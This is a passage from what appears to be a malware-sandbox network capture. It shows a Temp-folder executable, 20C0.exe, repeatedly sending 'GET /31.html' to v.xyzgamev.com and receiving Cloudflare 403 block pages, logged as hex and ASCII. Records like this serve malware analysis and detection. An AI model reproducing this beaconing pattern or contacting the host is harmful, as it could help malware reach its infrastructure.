<span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:30:08 UTC	5012	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49811	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:11 UTC	5012	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:11 UTC	5012	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:26 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FiNO%2BZ9418wHk5blrwvvJUwhgBxqPk9yglMvAViFmfyzgvp45xI7K7apBDwi8acMkPpDTD2vF4tPtUFiZaeRpYJQJFuWhADpLcA0fkr3Tv%2B7q8DaE85%2BthZcrAbs%2FIwGRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c6a8dfc3bb83-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:11 UTC	5013	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:30:11 UTC	5013	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:30:11 UTC	5015	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:30:11 UTC	5016	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:30:11 UTC	5017	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49813	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:16 UTC	5017	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:16 UTC	5017	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:31 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rWSE3gH6JQWsQk1SBdpRAgWo4VF94oVX0IyQIQP0dhfKODiI3pf8EKItIV%2F%2B%2FWBWX8B4SkALmtWznh2pjTcXkPZA9njc592g%2FKpzV67Rr%2BrsRNdJAsqrmz8tyBG8NHLABA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c6cbb8059247-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:16 UTC	5018	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:30:16 UTC	5018	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:30:16 UTC	5020	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:30:16 UTC	5021	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:30:16 UTC	5022	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49814	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:24 UTC	5022	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:24 UTC	5022	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:39 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dWno0ln5QUEmwN4SaXD2DQ4%2BlNwiqIycI8Kdg9oQ7K9BuKUbG6ugEYnQ8dM0qpM08%2FReIkoPB%2BDRur94TDof0SAC59THrqT5rNksybN34Jme4f%2BSUH7nPa4xiQCOlhDjqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c6fb7e7e903c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:24 UTC	5023	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:30:24 UTC	5024	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:30:24 UTC	5025	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:30:24 UTC	5026	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:30:24 UTC	5027	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49815	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:35 UTC	5027	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:35 UTC	5028	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:50 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KRkBmDjw1Sai71O5Z37sal4YsPnvOjGWnUO%2FSei8IiPciBuluCV2JrLrPuaBLjo%2Fk8duQlZYnf6Dt3rFvikuhNXR6d2NOH1cBgqcznXfHeGGcFhzVMhylafaGnWwfntoWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c742c8d990bb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:35 UTC	5028	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:30:35 UTC	5029	IN	Data Raw: 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 Data Ascii: ="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEna
2022-08-31 12:30:35 UTC	5030	IN	Data Raw: 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 Data Ascii: olumns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online a
2022-08-31 12:30:35 UTC	5032	IN	Data Raw: 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&b
2022-08-31 12:30:35 UTC	5033	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
